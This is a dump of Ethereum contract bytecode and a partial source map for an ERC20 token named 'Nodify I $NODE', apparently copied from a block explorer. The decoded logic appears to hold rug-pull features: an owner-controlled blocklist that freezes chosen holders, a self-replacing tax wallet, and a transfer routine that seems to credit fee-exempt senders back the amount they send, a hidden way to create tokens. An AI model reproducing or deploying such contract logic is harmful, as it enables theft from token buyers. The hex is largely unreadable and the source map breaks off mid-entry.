d5761159d611511565b6040529182528482019250838101850191888311156115bb57600080fd5b938501935b828510156115e0576115d185611477565b845293850193928501926115c0565b98975050505050505050565b600080604083850312156115ff57600080fd5b823561160a8161145f565b9150602083013561161a8161145f565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561167657816000190482111561165c5761165c611625565b8085161561166957918102915b93841c9390800290611640565b509250929050565b60008261168d575060016103d7565b8161169a575060006103d7565b81600181146116b057600281146116ba576116d6565b60019150506103d7565b60ff8411156116cb576116cb611625565b50506001821b6103d7565b5060208310610133831016604e8410600b84101617156116f9575081810a6103d7565b611703838361163b565b806000190482111561171757611717611625565b029392505050565b600061113060ff84168361167e565b80820281158282048414176103d7576103d7611625565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008060006060848603121561178f57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117ba57600080fd5b8151801515811461113057600080fd5b634e487b7160e01b600052603260045260246000fd5b6000600182016117f2576117f2611625565b5060010190565b808201808211156103d7576103d7611625565b818103818111156103d7576103d7611625565b60008261183c57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561185357600080fd5b81516111308161145f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118ae5784516001600160a01b031683529383019391830191600101611889565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204a9ff3662b28f4aa1e94e44e5bfa103e729ae73caff24fc00be3c0101a11a2aa64736f6c63430008130033

Deployed Bytecode

0x6080604052600436106101185760003560e01c8063751039fc116100a0578063a9059cbb11610064578063a9059cbb14610315578063bf474bed14610335578063c9567bf91461034b578063d34628cc14610360578063dd62ed3e1461038057600080fd5b8063751039fc1461027f5780637d1db4a5146102945780638da5cb5b146102aa5780638f9a55c0146102d257806395d89b41146102e857600080fd5b806323b872dd116100e757806323b872dd146101d6578063313ce567146101f657806370a0823114610212578063715018a61461024857806374c9f6031461025f57600080fd5b806306fdde0314610124578063095ea7b31461016d5780630faee56f1461019d57806318160ddd146101c157600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600e81526d4e6f64696679204920244e4f444560901b60208201525b6040516101649190611411565b60405180910390f35b34801561017957600080fd5b5061018d610188366004611487565b6103c6565b6040519015158152602001610164565b3480156101a957600080fd5b506101b360105481565b604051908152602001610164565b3480156101cd57600080fd5b506101b36103dd565b3480156101e257600080fd5b5061018d6101f13660046114b3565b6103fe565b34801561020257600080fd5b5060405160098152602001610164565b34801561021e57600080fd5b506101b361022d3660046114f4565b6001600160a01b031660009081526001602052604090205490565b34801561025457600080fd5b5061025d610467565b005b34801561026b57600080fd5b5061025d61027a3660046114f4565b6104e4565b34801561028b57600080fd5b5061025d61058d565b3480156102a057600080fd5b506101b3600d5481565b3480156102b657600080fd5b506000546040516001600160a01b039091168152602001610164565b3480156102de57600080fd5b506101b3600e5481565b3480156102f457600080fd5b506040805180820190915260048152634e4f444560e01b6020820152610157565b34801561032157600080fd5b5061018d610330366004611487565b61063f565b34801561034157600080fd5b506101b3600f5481565b34801561035757600080fd5b5061025d61064c565b34801561036c57600080fd5b5061025d61037b366004611527565b610867565b34801561038c57600080fd5b506101b361039b3660046115ec565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006103d33384846108fd565b5060015b92915050565b60006103eb6009600a61171f565b6103f990631913385061172e565b905090565b600061040b848484610a2e565b61045d8433610458856040518060600160405280602881526020016118d0602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190611074565b6108fd565b5060019392505050565b6000546001600160a01b0316331461049a5760405162461bcd60e51b815260040161049190611745565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6012546001600160a01b031633146105535760405162461bcd60e51b815260206004820152602c60248201527f596f7520617265206e6f7420616c6c6f77656420746f206368616e676520746860448201526b19481d185e081dd85b1b195d60a21b6064820152608401610491565b601280546001600160a01b039092166001600160a01b0319909216821790556000908152600360205260409020805460ff19166001179055565b6000546001600160a01b031633146105b75760405162461bcd60e51b815260040161049190611745565b6105c36009600a61171f565b6105d190631913385061172e565b600d556105e06009600a61171f565b6105ee90631913385061172e565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf61061e6009600a61171f565b61062c90631913385061172e565b60405190815260200160405180910390a1565b60006103d3338484610a2e565b6000546001600160a01b031633146106765760405162461bcd60e51b815260040161049190611745565b601354600160a01b900460ff16156106d05760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610491565b6011546106fc9030906001600160a01b03166106ee6009600a61171f565b61045890631913385061172e565b6011546001600160a01b031663f305d719473061072e816001600160a01b031660009081526001602052604090205490565b6000806107436000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156107ab573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107d0919061177a565b505060135460115460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610829573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084d91906117a8565b506013805462ff00ff60a01b19166201000160a01b179055565b6000546001600160a01b031633146108915760405162461bcd60e51b815260040161049190611745565b60005b81518110156108f9576001600460008484815181106108b5576108b56117ca565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108f1816117e0565b915050610894565b5050565b6001600160a01b0383166109665760405162461bcd60e51b815260206004820152602a60248201527f45524332303a2043616e277420617070726f76652066726f6d20746865207a65604482015269726f206164647265737360b01b6064820152608401610491565b6001600160a01b0382166109cd5760405162461bcd60e51b815260206004820152602860248201527f45524332303a2043616e277420617070726f766520746f20746865207a65726f604482015267206164647265737360c01b6064820152608401610491565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a925760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610491565b6001600160a01b038216610af45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610491565b60008111610b565760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610491565b600080546001600160a01b03858116911614801590610b8357506000546001600160a01b03848116911614155b15610f31576001600160a01b03841660009081526004602052604090205460ff16158015610bca57506001600160a01b03831660009081526004602052604090205460ff16155b610bd357600080fd5b610bff6064610bf9600954600c5411610bee57600554610bf2565b6007545b85906110ae565b90611137565b6013549091506001600160a01b038581169116148015610c2d57506011546001600160a01b03848116911614155b8015610c5257506001600160a01b03831660009081526003602052604090205460ff16155b15610d3a57600d54821115610ca95760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610491565b600e5482610ccc856001600160a01b031660009081526001602052604090205490565b610cd691906117f9565b1115610d245760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610491565b600c8054906000610d34836117e0565b91905055505b6001600160a01b03841660009081526003602052604090205460ff1615610d89576001600160a01b03841660009081526001602052604081208054849290610d839084906117f9565b90915550505b6013546001600160a01b03848116911614801590610dc057506001600160a01b03831660009081526003602052604090205460ff16155b15610e4057600e5482610de8856001600160a01b031660009081526001602052604090205490565b610df291906117f9565b1115610e405760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610491565b6013546001600160a01b038481169116148015610e6657506001600160a01b0384163014155b15610e9357610e906064610bf9600a54600c5411610e8657600654610bf2565b60085485906110ae565b90505b30600090815260016020526040902054601354600160a81b900460ff16158015610eca57506013546001600160a01b038581169116145b8015610edf5750601354600160b01b900460ff165b8015610eec5750600f5481115b8015610efb5750600b54600c54115b15610f2f57610f1d610f1884610f1384601054611179565b611179565b61118e565b478015610f2d57610f2d47611308565b505b505b8015610fab5730600090815260016020526040902054610f519082611342565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610fa29085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610fce90836113a1565b6001600160a01b038516600090815260016020526040902055611013610ff483836113a1565b6001600160a01b03851660009081526001602052604090205490611342565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61105d85856113a1565b60405190815260200160405180910390a350505050565b600081848411156110985760405162461bcd60e51b81526004016104919190611411565b5060006110a5848661180c565b95945050505050565b6000826000036110c0575060006103d7565b60006110cc838561172e565b9050826110d9858361181f565b146111305760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610491565b9392505050565b600061113083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113e3565b60008183116111885782611130565b50919050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d6576111d66117ca565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561122f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112539190611841565b81600181518110611266576112666117ca565b6001600160a01b03928316602091820292909201015260115461128c91309116846108fd565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c590859060009086903090429060040161185e565b600060405180830381600087803b1580156112df57600080fd5b505af11580156112f3573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156108f9573d6000803e3d6000fd5b60008061134f83856117f9565b9050838110156111305760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610491565b600061113083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611074565b600081836114045760405162461bcd60e51b81526004016104919190611411565b5060006110a5848661181f565b600060208083528351808285015260005b8181101561143e57858101830151858201604001528201611422565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461147457600080fd5b50565b80356114828161145f565b919050565b6000806040838503121561149a57600080fd5b82356114a58161145f565b946020939093013593505050565b6000806000606084860312156114c857600080fd5b83356114d38161145f565b925060208401356114e38161145f565b929592945050506040919091013590565b60006020828403121561150657600080fd5b81356111308161145f565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561153a57600080fd5b823567ffffffffffffffff8082111561155257600080fd5b818501915085601f83011261156657600080fd5b81358181111561157857611578611511565b8060051b604051601f19603f8301168101818110858211171561159d5761159d611511565b6040529182528482019250838101850191888311156115bb57600080fd5b938501935b828510156115e0576115d185611477565b845293850193928501926115c0565b98975050505050505050565b600080604083850312156115ff57600080fd5b823561160a8161145f565b9150602083013561161a8161145f565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561167657816000190482111561165c5761165c611625565b8085161561166957918102915b93841c9390800290611640565b509250929050565b60008261168d575060016103d7565b8161169a575060006103d7565b81600181146116b057600281146116ba576116d6565b60019150506103d7565b60ff8411156116cb576116cb611625565b50506001821b6103d7565b5060208310610133831016604e8410600b84101617156116f9575081810a6103d7565b611703838361163b565b806000190482111561171757611717611625565b029392505050565b600061113060ff84168361167e565b80820281158282048414176103d7576103d7611625565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008060006060848603121561178f57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156117ba57600080fd5b8151801515811461113057600080fd5b634e487b7160e01b600052603260045260246000fd5b6000600182016117f2576117f2611625565b5060010190565b808201808211156103d7576103d7611625565b818103818111156103d7576103d7611625565b60008261183c57634e487b7160e01b600052601260045260246000fd5b500490565b60006020828403121561185357600080fd5b81516111308161145f565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118ae5784516001600160a01b031683529383019391830191600101611889565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204a9ff3662b28f4aa1e94e44e5bfa103e729ae73caff24fc00be3c0101a11a2aa64736f6c63430008130033

Deployed Bytecode Sourcemap

3706:7671:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5693:83;;;;;;;;;;-1:-1:-1;5763:5:0;;;;;;;;;;;;-1:-1:-1;;;5763:5:0;;;;5693:83;;;;;;;:::i;:::-;;;;;;;;10537:161;;;;;;;;;;-1:-1:-1;10537:161:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;10537:161:0;1162:187:1;4772:51:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;4772:51:0;1354:177:1;5970:95:0;;;;;;;;;;;;;:::i;10706:313::-;;;;;;;;;;-1:-1:-1;10706:313:0;;;;;:::i;:::-;;:::i;5879:83::-;;;;;;;;;;-1:-1:-1;5879:83:0;;4505:1;2139:36:1;;2127:2;2112:18;5879:83:0;1997:184:1;6073:119:0;;;;;;;;;;-1:-1:-1;6073:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6166:18:0;6139:7;6166:18;;;:9;:18;;;;;;;6073:119;965:148;;;;;;;;;;;;;:::i;:::-;;6858:239;;;;;;;;;;-1:-1:-1;6858:239:0;;;;;:::i;:::-;;:::i;6691:159::-;;;;;;;;;;;;;:::i;4582:59::-;;;;;;;;;;;;;;;;751:79;;;;;;;;;;-1:-1:-1;789:7:0;816:6;751:79;;-1:-1:-1;;;;;816:6:0;;;2844:51:1;;2832:2;2817:18;751:79:0;2698:203:1;4648:59:0;;;;;;;;;;;;;;;;5784:87;;;;;;;;;;-1:-1:-1;5856:7:0;;;;;;;;;;;;-1:-1:-1;;;5856:7:0;;;;5784:87;;7205:167;;;;;;;;;;-1:-1:-1;7205:167:0;;;;;:::i;:::-;;:::i;4714:51::-;;;;;;;;;;;;;;;;9882:459;;;;;;;;;;;;;:::i;9685:189::-;;;;;;;;;;-1:-1:-1;9685:189:0;;;;;:::i;:::-;;:::i;10386:143::-;;;;;;;;;;-1:-1:-1;10386:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;10494:18:0;;;10467:7;10494:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;10386:143;10537:161;10612:4;10629:39;408:10;10652:7;10661:6;10629:8;:39::i;:::-;-1:-1:-1;10686:4:0;10537:161;;;;;:::o;5970:95::-;6023:7;4562:13;4505:1;4562:2;:13;:::i;:::-;4548:27;;:11;:27;:::i;:::-;6043:14;;5970:95;:::o;10706:313::-;10804:4;10821:36;10831:6;10839:9;10850:6;10821:9;:36::i;:::-;10868:121;10877:6;408:10;10899:89;10937:6;10899:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;10899:19:0;;;;;;:11;:19;;;;;;;;408:10;10899:33;;;;;;;;;;:37;:89::i;:::-;10868:8;:121::i;:::-;-1:-1:-1;11007:4:0;10706:313;;;;;:::o;965:148::-;878:6;;-1:-1:-1;;;;;878:6:0;408:10;878:22;870:67;;;;-1:-1:-1;;;870:67:0;;;;;;;:::i;:::-;;;;;;;;;1072:1:::1;1056:6:::0;;1035:40:::1;::::0;-1:-1:-1;;;;;1056:6:0;;::::1;::::0;1035:40:::1;::::0;1072:1;;1035:40:::1;1103:1;1086:19:::0;;-1:-1:-1;;;;;;1086:19:0::1;::::0;;965:148::o;6858:239::-;6950:10;;-1:-1:-1;;;;;6950:10:0;6936;:24;6928:80;;;;-1:-1:-1;;;6928:80:0;;6808:2:1;6928:80:0;;;6790:21:1;6847:2;6827:18;;;6820:30;6886:34;6866:18;;;6859:62;-1:-1:-1;;;6937:18:1;;;6930:42;6989:19;;6928:80:0;6606:408:1;6928:80:0;7019:10;:22;;-1:-1:-1;;;;;7019:22:0;;;-1:-1:-1;;;;;;7019:22:0;;;;;;;:10;7052:30;;;:18;:30;;;;;:37;;-1:-1:-1;;7052:37:0;7019:22;7052:37;;;6858:239::o;6691:159::-;878:6;;-1:-1:-1;;;;;878:6:0;408:10;878:22;870:67;;;;-1:-1:-1;;;870:67:0;;;;;;;:::i;:::-;4562:13:::1;4505:1;4562:2;:13;:::i;:::-;4548:27;::::0;:11:::1;:27;:::i;:::-;6744:12;:22:::0;4562:13:::1;4505:1;4562:2;:13;:::i;:::-;4548:27;::::0;:11:::1;:27;:::i;:::-;6777:14;:22:::0;6815:27:::1;4562:13;4505:1;4562:2;:13;:::i;:::-;4548:27;::::0;:11:::1;:27;:::i;:::-;6815;::::0;1500:25:1;;;1488:2;1473:18;6815:27:0::1;;;;;;;6691:159::o:0;7205:167::-;7283:4;7300:42;408:10;7324:9;7335:6;7300:9;:42::i;9882:459::-;878:6;;-1:-1:-1;;;;;878:6:0;408:10;878:22;870:67;;;;-1:-1:-1;;;870:67:0;;;;;;;:::i;:::-;9946:11:::1;::::0;-1:-1:-1;;;9946:11:0;::::1;;;9945:12;9937:47;;;::::0;-1:-1:-1;;;9937:47:0;;7221:2:1;9937:47:0::1;::::0;::::1;7203:21:1::0;7260:2;7240:18;;;7233:30;7299:25;7279:18;;;7272:53;7342:18;;9937:47:0::1;7019:347:1::0;9937:47:0::1;10027:15;::::0;9995:58:::1;::::0;10012:4:::1;::::0;-1:-1:-1;;;;;10027:15:0::1;4562:13;4505:1;4562:2;:13;:::i;:::-;4548:27;::::0;:11:::1;:27;:::i;9995:58::-;10064:15;::::0;-1:-1:-1;;;;;10064:15:0::1;:31;10103:21;10134:4;10140:24;10134:4:::0;-1:-1:-1;;;;;6166:18:0;6139:7;6166:18;;;:9;:18;;;;;;;6073:119;10140:24:::1;10165:1;10167::::0;10169:7:::1;789::::0;816:6;-1:-1:-1;;;;;816:6:0;;751:79;10169:7:::1;10064:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10064:129:0;;;-1:-1:-1;;;;;7730:15:1;;;10064:129:0::1;::::0;::::1;7712:34:1::0;7762:18;;;7755:34;;;;7805:18;;;7798:34;;;;7848:18;;;7841:34;7912:15;;;7891:19;;;7884:44;10177:15:0::1;7944:19:1::0;;;7937:35;7646:19;;10064:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10211:13:0::1;::::0;10242:15:::1;::::0;10204:71:::1;::::0;-1:-1:-1;;;10204:71:0;;-1:-1:-1;;;;;10242:15:0;;::::1;10204:71;::::0;::::1;8468:51:1::0;-1:-1:-1;;8535:18:1;;;8528:34;10211:13:0;::::1;::::0;-1:-1:-1;10204:29:0::1;::::0;8441:18:1;;10204:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10286:11:0::1;:18:::0;;-1:-1:-1;;;;10315:18:0;-1:-1:-1;;;10315:18:0;;;9882:459::o;9685:189::-;878:6;;-1:-1:-1;;;;;878:6:0;408:10;878:22;870:67;;;;-1:-1:-1;;;870:67:0;;;;;;;:::i;:::-;9766:6:::1;9761:106;9782:10;:17;9778:1;:21;9761:106;;;9851:4;9821:12;:27;9834:10;9845:1;9834:13;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;9821:27:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;9821:27:0;:34;;-1:-1:-1;;9821:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9801:3;::::1;::::0;::::1;:::i;:::-;;;;9761:106;;;;9685:189:::0;:::o;11027:347::-;-1:-1:-1;;;;;11120:19:0;;11112:74;;;;-1:-1:-1;;;11112:74:0;;9329:2:1;11112:74:0;;;9311:21:1;9368:2;9348:18;;;9341:30;9407:34;9387:18;;;9380:62;-1:-1:-1;;;9458:18:1;;;9451:40;9508:19;;11112:74:0;9127:406:1;11112:74:0;-1:-1:-1;;;;;11205:21:0;;11197:74;;;;-1:-1:-1;;;11197:74:0;;9740:2:1;11197:74:0;;;9722:21:1;9779:2;9759:18;;;9752:30;9818:34;9798:18;;;9791:62;-1:-1:-1;;;9869:18:1;;;9862:38;9917:19;;11197:74:0;9538:404:1;11197:74:0;-1:-1:-1;;;;;11282:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;11334:32;;1500:25:1;;;11334:32:0;;1473:18:1;11334:32:0;;;;;;;11027:347;;;:::o;7380:2189::-;-1:-1:-1;;;;;7468:18:0;;7460:68;;;;-1:-1:-1;;;7460:68:0;;10149:2:1;7460:68:0;;;10131:21:1;10188:2;10168:18;;;10161:30;10227:34;10207:18;;;10200:62;-1:-1:-1;;;10278:18:1;;;10271:35;10323:19;;7460:68:0;9947:401:1;7460:68:0;-1:-1:-1;;;;;7547:16:0;;7539:64;;;;-1:-1:-1;;;7539:64:0;;10555:2:1;7539:64:0;;;10537:21:1;10594:2;10574:18;;;10567:30;10633:34;10613:18;;;10606:62;-1:-1:-1;;;10684:18:1;;;10677:33;10727:19;;7539:64:0;10353:399:1;7539:64:0;7631:1;7622:6;:10;7614:64;;;;-1:-1:-1;;;7614:64:0;;10959:2:1;7614:64:0;;;10941:21:1;10998:2;10978:18;;;10971:30;11037:34;11017:18;;;11010:62;-1:-1:-1;;;11088:18:1;;;11081:39;11137:19;;7614:64:0;10757:405:1;7614:64:0;7689:17;816:6;;-1:-1:-1;;;;;7723:15:0;;;816:6;;7723:15;;;;:32;;-1:-1:-1;789:7:0;816:6;-1:-1:-1;;;;;7742:13:0;;;816:6;;7742:13;;7723:32;7719:1494;;;-1:-1:-1;;;;;7781:18:0;;;;;;:12;:18;;;;;;;;7780:19;:40;;;;-1:-1:-1;;;;;;7804:16:0;;;;;;:12;:16;;;;;;;;7803:17;7780:40;7772:49;;;;;;7848:76;7920:3;7848:67;7870:15;;7860:9;;:25;7859:55;;7900:14;;7859:55;;;7887:12;;7859:55;7848:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7953:13;;7836:88;;-1:-1:-1;;;;;;7945:21:0;;;7953:13;;7945:21;:55;;;;-1:-1:-1;7984:15:0;;-1:-1:-1;;;;;7970:30:0;;;7984:15;;7970:30;;7945:55;:83;;;;-1:-1:-1;;;;;;8006:22:0;;;;;;:18;:22;;;;;;;;8004:24;7945:83;7941:313;;;8068:12;;8058:6;:22;;8050:60;;;;-1:-1:-1;;;8050:60:0;;11369:2:1;8050:60:0;;;11351:21:1;11408:2;11388:18;;;11381:30;11447:27;11427:18;;;11420:55;11492:18;;8050:60:0;11167:349:1;8050:60:0;8163:14;;8153:6;8137:13;8147:2;-1:-1:-1;;;;;6166:18:0;6139:7;6166:18;;;:9;:18;;;;;;;6073:119;8137:13;:22;;;;:::i;:::-;:40;;8129:79;;;;-1:-1:-1;;;8129:79:0;;11853:2:1;8129:79:0;;;11835:21:1;11892:2;11872:18;;;11865:30;11931:28;11911:18;;;11904:56;11977:18;;8129:79:0;11651:350:1;8129:79:0;8227:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7941:313;-1:-1:-1;;;;;8272:24:0;;;;;;:18;:24;;;;;;;;8268:60;;;-1:-1:-1;;;;;8300:15:0;;;;;;:9;:15;;;;;:25;;8319:6;;8300:15;:25;;8319:6;;8300:25;:::i;:::-;;;;-1:-1:-1;;8268:60:0;8352:13;;-1:-1:-1;;;;;8346:19:0;;;8352:13;;8346:19;;;;:47;;-1:-1:-1;;;;;;8371:22:0;;;;;;:18;:22;;;;;;;;8369:24;8346:47;8342:167;;;8448:14;;8438:6;8422:13;8432:2;-1:-1:-1;;;;;6166:18:0;6139:7;6166:18;;;:9;:18;;;;;;;6073:119;8422:13;:22;;;;:::i;:::-;:40;;8414:79;;;;-1:-1:-1;;;8414:79:0;;11853:2:1;8414:79:0;;;11835:21:1;11892:2;11872:18;;;11865:30;11931:28;11911:18;;;11904:56;11977:18;;8414:79:0;11651:350:1;8414:79:0;8532:13;;-1:-1:-1;;;;;8526:19:0;;;8532:13;;8526:19;:43;;;;-1:-1:-1;;;;;;8549:20:0;;8564:4;8549:20;;8526:43;8523:174;;;8602:79;8677:3;8602:70;8624:16;;8614:9;;:26;8613:58;;8656:15;;8613:58;;;8642:13;;8602:6;;:10;:70::i;:79::-;8590:91;;8523:174;8760:4;8711:28;6166:18;;;:9;:18;;;;;;8786:6;;-1:-1:-1;;;8786:6:0;;;;8785:7;:32;;;;-1:-1:-1;8804:13:0;;-1:-1:-1;;;;;8796:21:0;;;8804:13;;8796:21;8785:32;:47;;;;-1:-1:-1;8821:11:0;;-1:-1:-1;;;8821:11:0;;;;8785:47;:89;;;;;8857:17;;8836:20;:38;8785:89;:121;;;;;8888:18;;8878:9;;:28;8785:121;8781:421;;;8927:67;8944:49;8948:6;8955:37;8959:20;8980:11;;8955:3;:37::i;:::-;8944:3;:49::i;:::-;8927:16;:67::i;:::-;9042:21;9085:22;;9082:105;;9132:35;9145:21;9132:12;:35::i;:::-;8908:294;8781:421;7757:1456;7719:1494;9228:11;;9225:161;;9296:4;9278:24;;;;:9;:24;;;;;;:39;;9307:9;9278:28;:39::i;:::-;9271:4;9253:24;;;;:9;:24;;;;;;;:64;;;;9335:39;;-1:-1:-1;;;;;9335:39:0;;;;;;;9364:9;1500:25:1;;1488:2;1473:18;;1354:177;9335:39:0;;;;;;;;9225:161;-1:-1:-1;;;;;9412:15:0;;;;;;:9;:15;;;;;;:27;;9432:6;9412:19;:27::i;:::-;-1:-1:-1;;;;;9396:15:0;;;;;;:9;:15;;;;;:43;9464:40;9482:21;:6;9493:9;9482:10;:21::i;:::-;-1:-1:-1;;;;;9464:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9450:13:0;;;;;;;:9;:13;;;;;:54;;;;9520:41;;;9539:21;:6;9550:9;9539:10;:21::i;:::-;9520:41;;1500:25:1;;;1488:2;1473:18;9520:41:0;;;;;;;7449:2120;7380:2189;;;:::o;1477:190::-;1563:7;1599:12;1591:6;;;;1583:29;;;;-1:-1:-1;;;1583:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1623:9:0;1635:5;1639:1;1635;:5;:::i;:::-;1623:17;1477:190;-1:-1:-1;;;;;1477:190:0:o;1675:246::-;1733:7;1757:1;1762;1757:6;1753:47;;-1:-1:-1;1787:1:0;1780:8;;1753:47;1810:9;1822:5;1826:1;1822;:5;:::i;:::-;1810:17;-1:-1:-1;1855:1:0;1846:5;1850:1;1810:17;1846:5;:::i;:::-;:10;1838:56;;;;-1:-1:-1;;;1838:56:0;;12563:2:1;1838:56:0;;;12545:21:1;12602:2;12582:18;;;12575:30;12641:34;12621:18;;;12614:62;-1:-1:-1;;;12692:18:1;;;12685:31;12733:19;;1838:56:0;12361:397:1;1838:56:0;1912:1;1675:246;-1:-1:-1;;;1675:246:0:o;1929:132::-;1987:7;2014:39;2018:1;2021;2014:39;;;;;;;;;;;;;;;;;:3;:39::i;9579:98::-;9636:7;9663:1;9661;:3;9660:9;;9668:1;9660:9;;;-1:-1:-1;9666:1:0;9579:98;-1:-1:-1;9579:98:0:o;6200:483::-;5146:6;:13;;-1:-1:-1;;;;5146:13:0;-1:-1:-1;;;5146:13:0;;;6302:16:::1;::::0;;6316:1:::1;6302:16:::0;;;;;::::1;::::0;;-1:-1:-1;;6302:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;6302:16:0::1;6278:40;;6347:4;6329;6334:1;6329:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6329:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;6373:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;6373:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;6329:7;;6373:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6363:4;6368:1;6363:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6363:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;6438:15:::1;::::0;6406:62:::1;::::0;6423:4:::1;::::0;6438:15:::1;6456:11:::0;6406:8:::1;:62::i;:::-;6479:15;::::0;:196:::1;::::0;-1:-1:-1;;;6479:196:0;;-1:-1:-1;;;;;6479:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;6560:11;;6479:15:::1;::::0;6602:4;;6629::::1;::::0;6649:15:::1;::::0;6479:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5182:6:0;:14;;-1:-1:-1;;;;5182:14:0;;;-1:-1:-1;;;;6200:483:0:o;7105:92::-;7162:10;;:27;;-1:-1:-1;;;;;7162:10:0;;;;:27;;;;;7182:6;;7162:10;:27;:10;:27;7182:6